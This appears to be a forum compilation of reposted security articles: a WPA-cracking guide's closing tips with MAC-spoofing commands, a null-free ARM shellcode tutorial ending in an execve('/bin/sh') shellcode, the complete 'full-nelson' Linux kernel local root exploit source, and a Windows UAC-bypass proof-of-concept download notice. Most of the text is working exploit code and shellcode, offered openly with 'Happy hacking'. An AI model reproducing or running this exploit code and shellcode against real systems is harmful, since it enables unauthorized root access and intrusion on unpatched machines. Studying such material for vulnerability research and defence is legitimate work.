How To Crack WPA / WPA2 - Security Myths,Tips,Conclusion WPA-PSK Security Myths Although not strictly related to WPA-PSK cracking, there are two security myths I've seen pop up here at SmallNetBuilder and around the web that I'd like to say a few words about. Myth 1: Disabling the SSID Broadcast Secures your WLAN "Cloaking" your SSID might sound good on the surface. But programs like Kismet that are capable of monitoring wireless network traffic are also able to "decloak" access points by listening to traffic between the clients and the access point. For Kismet, this process takes only a few minutes of relatively light network traffic. Disabling the SSID broadcast really makes it only slightly harder for potential attackers to connect to your AP (they now have to type the SSID instead of clicking on it). Myth 2: Filtering MAC Addresses Secures Your WLAN This idea again sounds good on the surface: limit the computers that can connect by their MAC addresses. There are two problems with this technique. 1) Physically maintaining the table of acceptable MAC addresses becomes more burdensome as your network grows. 2) MAC addresses can be easily spoofed. Chances are, if you are being attacked by someone who has the know-how to get past WPA, they will most likely spoof their MAC when they connect anyway, to avoid detection in your router's logs (by a possible failed MAC filter pass). Kismet, in particular, excels at this with its AP "clients" view which lists, among other things, client MAC addresses. Spoofing your MAC address (in Linux) is as simple as this: bt ~ # ifconfig ath0 hw ether AA:BB:CC:DD:EE:FF bt ~ # ifconfig ath0 up bt ~ # ifconfig ath0 ath0 Link encap:Ethernet HWaddr AA:BB:CC:DD:EE:FF UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:26 errors:0 dropped:0 overruns:0 frame:0 TX packets:1 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1092 (1.0 KiB) TX bytes:590 (590.0 WPA-PSK Security Tips You know how to break weak WPA-PSK keys. Now make sure that it doesn't happen to you by using two simple techniques. Use long and strong passphrases! The longer and more random the password, the better. A WPA key is a computer passphrase, and by that I mean that the computer is the one that has to remember it. All you have to do as the user is type it in once and you're ready to go. So, generate a very long, random passphrase, write it down and put it in a not-so-obvious place. Writing down a passphrase is normally a cardinal sin for security. But in a SOHO setting, it's a reasonable tradeoff between security and convenience. Frankly, you're much more susceptible to wireless pirates parked outside your apartment (or next door) using the tools I've just described than you are to someone socially-engineering your wife into giving out your wireless LAN key. And even then, wouldn't it be nice if the key took a half-hour for her to read over the phone, giving you a chance to step in and save the day? So, generate a nasty, long computer passphrase, write it down on a sticky-note, enter it in your router and clients, then stick that sticky-note someplace secure (not to the top of the router!) Change your SSID Since the key is salted with the SSID, it makes sense to change your AP's SSID to render the precomputed hash tables useless (assuming you change it to something non-obvious). This forces the attacker to start from square one by either generating a hash table or using just a straight dictionary attack. Conclusion So, now you know how crackers can attack wireless networks that use weak WPA / WPA2 PSK keys and the simple countermeasures that you can take to ensure that it doesn't happen to you. With a strong, long key and good security practices, a wireless LAN secured by WPA / WPA2 is definitely not an easy target. Sursa: How To Crack WPA / WPA2 - Security Myths,Tips,Conclusion - SmallNetBuilder

Exploiting Stack Overflows in the Linux Kernel Download: In this post, I’ll introduce an exploitation technique for kernel stack overflows in the Linux kernel. Keep in mind this does not refer to buffer overflows on the kernel stack (whose exploitability is well understood), but rather the improper expansion of the kernel stack causing it to overlap with critical structures which may be subsequently corrupted. This is a vulnerability class in the Linux kernel that I do not believe have been exploited publicly in the past, but is relevant due to a recent vulnerability in the Econet packet family. Online: jon.oberheide.org - blog - exploiting stack overflows in the linux kernel Download: http://www.exploit-db.com/download_pdf/15634

How to Create a Shellcode on ARM Architecture Title: [English] How to create a shellcode on ARM architecture ? Language: English Author: Jonathan Salwan - twitter: @shell_storm Translated by: Arona Ndiaye Date: 2010-11-25 Original version: .:HowTo.Shell-Storm.org:. | How to create a shellcode on ARM architecture ? I - Introduction to the ARM architecture ========================================= The ARM architecture was originally conceived for a computer sold by Acorn. It morphed to then become an independent offer in the market of Embedded Computing. ARM is the acronym for Advanced Risk Machine, formerly known as Acorn Risk Machine. The most famous core is the ARM7TDMI which is graced with 3 pipeline levels. The ARM7TDMI even has a second set of instructions called THUMB which allows 16-bits addressing, and significant memory gains especially in the field of embedded computing. The ARM architecture is also quite present in the field of Mobile Computing. Numerous operating systems have been ported to that architecture. A non-exhaustive list includes: Linux (used by Maemo on the N900 and Android on the Nexus One), Symbian S60 with the Nokia N97 or Samsung Player HD, iPhone with the iPhone and iPad and Windows Mobile. ARM Ltd followed up by releasing the ARM9 core which shifted to a five stage pipeline, reducing the number of logical operations per clock cycle and therefore nearly doubling the clock frequency. II - ARM/Linux shellcode: first attempt ======================================== For the remainder of this document, all tests are assumed to be running on a ARM926EJ-S core. Let's start by having a look at the register conventions. Register Alt. Name Usage r0 a1 First function argument Integer function result Scratch register r1 a2 Second function argument Scratch register r2 a3 Third function argument Scratch register r3 a4 Fourth function argument Scratch register r4 v1 Register variable r5 v2 Register variable r6 v3 Register variable r7 v4 Register variable r8 v5 Register variable r9 v6 rfp Register variable Real frame pointer r10 sl Stack limit r11 fp Argument pointer r12 ip Temporary workspace r13 sp Stack pointer r14 lr Link register Workspace r15 pc Program counter So registers r0 to r3 will be dealing with function parameters. Registers r4 to r9 will be for variables. On the other hand register r7 will store the address of the Syscall to execute. Register r13 points to the stack and register r15 points to the next address to execute. These two registers can be compared to the ESP and EIP registers under x86, even though register operations greatly differ between ARM and x86. Let's start by writing a shellcode that will first call the syscall _write and then the _exit one. We first need to know the address of the syscalls. We'll do as we usually do: root@ARM9:~# cat /usr/include/asm/unistd.h | grep write #define __NR_write (__NR_SYSCALL_BASE+ 4) #define __NR_writev (__NR_SYSCALL_BASE+146) #define __NR_pwrite64 (__NR_SYSCALL_BASE+181) #define __NR_pciconfig_write (__NR_SYSCALL_BASE+273) root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit #define __NR_exit (__NR_SYSCALL_BASE+ 1) #define __NR_exit_group (__NR_SYSCALL_BASE+248) Ok, so we have 4 for _write and 1 for _exit. We know that _write consumes three arguments: write(int __fd, __const void *__buf, size_t __n) Which gives us: r0 => 1 (output) r1 => shell-storm.org\n (string) r2 => 16 (strlen(string)) r7 => 4 (syscall) r0 => 0 r7 => 1 Here's what we get in assembly: root@ARM9:/home/jonathan/shellcode/write# cat write.s .section .text .global _start _start: # _write() mov r2, #16 mov r1, pc <= r1 = pc add r1, #24 <= r1 = pc + 24 (which points to our string) mov r0, $0x1 mov r7, $0x4 svc 0 # _exit() sub r0, r0, r0 mov r7, $0x1 svc 0 .ascii "shell-storm.org\n" root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o root@ARM9:/home/jonathan/shellcode/write# ./write shell-storm.org root@ARM9:/home/jonathan/shellcode/write# root@ARM9:/home/jonathan/shellcode/write# strace ./write execve("./write", ["./write"], [/* 17 vars */]) = 0 write(1, "shell-storm.org\n"..., 16shell-storm.org ) = 16 exit(0) Everything seems to work fine so far, however in order create our shellcode, we should have no null bytes, and our code is full of them. root@ARM9:/home/jonathan/shellcode/write# objdump -d write write: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e3a02010 mov r2, #16 ; 0x10 8058: e1a0100f mov r1, pc 805c: e2811018 add r1, r1, #24 8060: e3a00001 mov r0, #1 ; 0x1 8064: e3a07004 mov r7, #4 ; 0x4 8068: ef000000 svc 0x00000000 806c: e0400000 sub r0, r0, r0 8070: e3a07001 mov r7, #1 ; 0x1 8074: ef000000 svc 0x00000000 8078: 6c656873 stclvs 8, cr6, [r5], #-460 807c: 74732d6c ldrbtvc r2, [r3], #-3436 8080: 2e6d726f cdpcs 2, 6, cr7, cr13, cr15, {3} 8084: 0a67726f beq 19e4a48 <__data_start+0x19d49c0> Under ARM, we have what is called the THUMB MODE which allows us to use 16 bits addressing for our calls as opposed to 32 bits, which does simplify our life at this stage. root@ARM9:/home/jonathan/shellcode/write# cat write.s .section .text .global _start _start: .code 32 # Thumb-Mode on add r6, pc, #1 bx r6 .code 16 # _write() mov r2, #16 mov r1, pc add r1, #12 mov r0, $0x1 mov r7, $0x4 svc 0 # _exit() sub r0, r0, r0 mov r7, $0x1 svc 0 .ascii "shell-storm.org\n" root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o root@ARM9:/home/jonathan/shellcode/write# ./write shell-storm.org When compiling, please use "-mthumb" to indicate that we are switching to "Thumb Mode". The astute reader will have noticed that I have changed the value of the constant being added to r1. Instead of the original "add r1, #24", I'm doing "add r1, #12" since we have now switched to "thumb mode", the address where my chain is at, has been halved. Let's see what that gives us in terms of null bytes. root@ARM9:/home/jonathan/shellcode/write# objdump -d write write: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 2210 movs r2, #16 805e: 4679 mov r1, pc 8060: 310c adds r1, #12 8062: 2001 movs r0, #1 8064: 2704 movs r7, #4 8066: df00 svc 0 8068: 1a00 subs r0, r0, r0 806a: 2701 movs r7, #1 806c: df00 svc 0 806e: 6873 ldr r3, [r6, #4] 8070: 6c65 ldr r5, [r4, #68] 8072: 2d6c cmp r5, #108 8074: 7473 strb r3, [r6, #17] 8076: 726f strb r7, [r5, #9] 8078: 2e6d cmp r6, #109 807a: 726f strb r7, [r5, #9] 807c: 0a67 lsrs r7, r4, #9 That's better, all that we have left now to do is to modify the following instructions: "svc 0" and "sub r0, r0, r0". For SVC we'll use "svc 1" which is perfect in this case. For "sub r0, r0, r0", the goal is to place 0 in register r0, however we cannot do a "mov r0, #0" as that will include a null byte. The only trick so far that I've come across is: sub r4, r4, r4 mov r0, r4 Which gives us: root@ARM9:/home/jonathan/shellcode/write# cat write.s .section .text .global _start _start: .code 32 # Thumb-Mode on add r6, pc, #1 bx r6 .code 16 # _write() mov r2, #16 mov r1, pc add r1, #14 <==== We changed the address again, since in exit() we've added mov r0, $0x1 instructions which messed it all up. mov r7, $0x4 svc 1 # _exit() sub r4, r4, r4 mov r0, r4 mov r7, $0x1 svc 1 .ascii "shell-storm.org\n" root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o root@ARM9:/home/jonathan/shellcode/write# ./write shell-storm.org root@ARM9:/home/jonathan/shellcode/write# strace ./write execve("./write", ["./write"], [/* 17 vars */]) = 0 write(1, "shell-storm.org\n"..., 16shell-storm.org ) = 16 exit(0) = ? root@ARM9:/home/jonathan/shellcode/write# objdump -d write write: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 ; 0x1 8058: e12fff16 bx r6 805c: 2210 movs r2, #16 805e: 4679 mov r1, pc 8060: 310e adds r1, #14 8062: 2001 movs r0, #1 8064: 2704 movs r7, #4 8066: df01 svc 1 8068: 1b24 subs r4, r4, r4 806a: 1c20 adds r0, r4, #0 806c: 2701 movs r7, #1 806e: df01 svc 1 8070: 6873 ldr r3, [r6, #4] 8072: 6c65 ldr r5, [r4, #68] 8074: 2d6c cmp r5, #108 8076: 7473 strb r3, [r6, #17] 8078: 726f strb r7, [r5, #9] 807a: 2e6d cmp r6, #109 807c: 726f strb r7, [r5, #9] 807e: 0a67 lsrs r7, r4, #9 Here we are, we've got an operational shellcode without any null bytes. In C that gives us: root@ARM9:/home/jonathan/shellcode/write/C# cat write.c #include <stdio.h> char *SC = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x10\x22" "\x79\x46" "\x0e\x31" "\x01\x20" "\x04\x27" "\x01\xdf" "\x24\x1b" "\x20\x1c" "\x01\x27" "\x01\xdf" "\x73\x68" "\x65\x6c" "\x6c\x2d" "\x73\x74" "\x6f\x72" "\x6d\x2e" "\x6f\x72" "\x67\x0a"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(SC)); (*(void(*)()) SC)(); return 0; } root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c write.c: In function 'main': write.c:28: warning: incompatible implicit declaration of built-in function 'strlen' root@ARM9:/home/jonathan/shellcode/write/C# ./write Length: 44 shell-storm.org III - execv("/bin/sh", ["/bin/sh"], 0) ======================================= Now let's study a shellcode called execve(). The structure should look like this: r0 => "//bin/sh" r1 => "//bin/sh" r2 => 0 r7 => 11 root@ARM9:/home/jonathan/shellcode/shell# cat shell.s .section .text .global _start _start: .code 32 // add r3, pc, #1 // This whole section is for "Thumb Mode" bx r3 // .code 16 // mov r0, pc // We place the address of pc in r0 add r0, #10 // and add 10 to it (which then makes it point to //bin/sh) str r0, [sp, #4] // we place it on the stack (in case we need it again) add r1, sp, #4 // we move what was on the stack to r1 sub r2, r2, r2 // we subtract r2 from itself (which is the same as placing 0 in r2) mov r7, #11 // syscall execve in r7 svc 1 // we execute .ascii "//bin/sh" root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o root@ARM9:/home/jonathan/shellcode/shell# ./shell # exit root@ARM9:/home/jonathan/shellcode/shell# We can verify that the shellcode contains no null bytes !! 8054: e28f3001 add r3, pc, #1 8058: e12fff13 bx r3 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df01 svc 1 806a: 2f2f cmp r7, #47 806c: 6962 ldr r2, [r4, #20] 806e: 2f6e cmp r7, #110 8070: 6873 ldr r3, [r6, #4] So this is it, to find more ARM shellcodes please browse to: .:Shell-Storm.org:. | Search | IV - References ================ [x] .:Shell-Storm.org:. | Home | [1] Architecture ARM - Wikipédia [2] Nibbles microblog Break your ARMs Part 3 [3] The ARM Instruction Set (http://www.shell-storm.org/papers/files/664.pdf) [4] ARM Addressing Modes Quick Reference Card (http://www.shell-storm.org/papers/files/663.pdf

Linux Kernel <= 2.6.37 Local Privilege Escalation Hi all, I've included here a proof-of-concept local privilege escalation exploit for Linux. Please read the header for an explanation of what's going on. Without further ado, I present full-nelson.c: Happy hacking, Dan --snip-- /* * Linux Kernel <= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc full-nelson.c -o full-nelson * ./full-nelson * * This exploit leverages three vulnerabilities to get root, all of which were * discovered by Nelson Elhage: * * CVE-2010-4258 * ------------- * This is the interesting one, and the reason I wrote this exploit. If a * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL * word will be written to a user-specified pointer when that thread exits. * This write is done using put_user(), which ensures the provided destination * resides in valid userspace by invoking access_ok(). However, Nelson * discovered that when the kernel performs an address limit override via * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, * etc.), this override is not reverted before calling put_user() in the exit * path, allowing a user to write a NULL word to an arbitrary kernel address. * Note that this issue requires an additional vulnerability to trigger. * * CVE-2010-3849 * ------------- * This is a NULL pointer dereference in the Econet protocol. By itself, it's * fairly benign as a local denial-of-service. It's a perfect candidate to * trigger the above issue, since it's reachable via sock_no_sendpage(), which * subsequently calls sendmsg under KERNEL_DS. * * CVE-2010-3850 * ------------- * I wouldn't be able to reach the NULL pointer dereference and trigger the * OOPS if users weren't able to assign Econet addresses to arbitrary * interfaces due to a missing capabilities check. * * In the interest of public safety, this exploit was specifically designed to * be limited: * * * The particular symbols I resolve are not exported on Slackware or Debian * * Red Hat does not support Econet by default * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and * Debian * * However, the important issue, CVE-2010-4258, affects everyone, and it would * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly * more sophisticated version of this that doesn't have the roadblocks I put in * to prevent abuse by script kiddies. * * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. * * NOTE: the exploit process will deadlock and stay in a zombie state after you * exit your root shell because the Econet thread OOPSes while holding the * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother. * * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla */ #include <stdio.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <net/if.h> #include <sched.h> #include <stdlib.h> #include <signal.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> /* How many bytes should we clear in our * function pointer to put it into userspace? */ #ifdef __x86_64__ #define SHIFT 24 #define OFFSET 3 #else #define SHIFT 8 #define OFFSET 1 #endif /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; static int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* Why do I do this? Because on x86-64, the address of * commit_creds and prepare_kernel_cred are loaded relative * to rip, which means I can't just copy the above payload * into my landing area. */ void __attribute__((regparm(3))) trampoline() { #ifdef __x86_64__ asm("mov $getroot, %rax; call *%rax;"); #else asm("mov $getroot, %eax; call *%eax;"); #endif } /* Triggers a NULL pointer dereference in econet_sendmsg * via sock_no_sendpage, so it's under KERNEL_DS */ int trigger(int * fildes) { int ret; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); if(ret < 0) { printf("[*] Failed to set Econet address.\n"); return -1; } splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); /* Shouldn't get here... */ exit(0); } int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; /* Create file descriptors now so there are two references to them after cloning...otherwise the child will never return because it deadlocks when trying to unlock various mutexes after OOPSing */ pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open("/dev/zero", O_RDONLY); if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { printf("[*] Failed to open file descriptors.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } if(!(newstack = malloc(65536))) { printf("[*] Failed to allocate memory.\n"); return -1; } printf("[*] Calculating target...\n"); target = econet_ops + 10 * sizeof(void *) - OFFSET; /* Clear the higher bits */ landing = econet_ioctl << SHIFT >> SHIFT; payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { printf("[*] Failed to mmap() at target address.\n"); return -1; } memcpy((void *)landing, &trampoline, 1024); clone((int (void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target); sleep(1); printf("[*] Triggering payload...\n"); ioctl(fildes[2], 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "/bin/sh", NULL); } Sursa: Linux Kernel <= 2.6.37 Local Privilege Escalation

Elevation of privileges under Windows Vista/7 (UAC Bypass) 0day A Design Flaw in Windows Kernel API can Lead to privilege escalation. Mirror of Original Post: Bypassing UAC with User Privilege under Windows Vista/7 – Mirror PoC: Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject (not available) mirror: http://www.exploit-db.com/sploits/uacpoc.zip After running this PoC, just type “whoami” in command prompt to see the escalated user credentials. Points of Interest All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue. Additional Information This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are: Windows Vista/2008 6.1.6000 x32, Windows Vista/2008 6.1.6001 x32, Windows 7 6.2.7600 x32, Windows 7/2008 R2 6.2.7600 x64. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.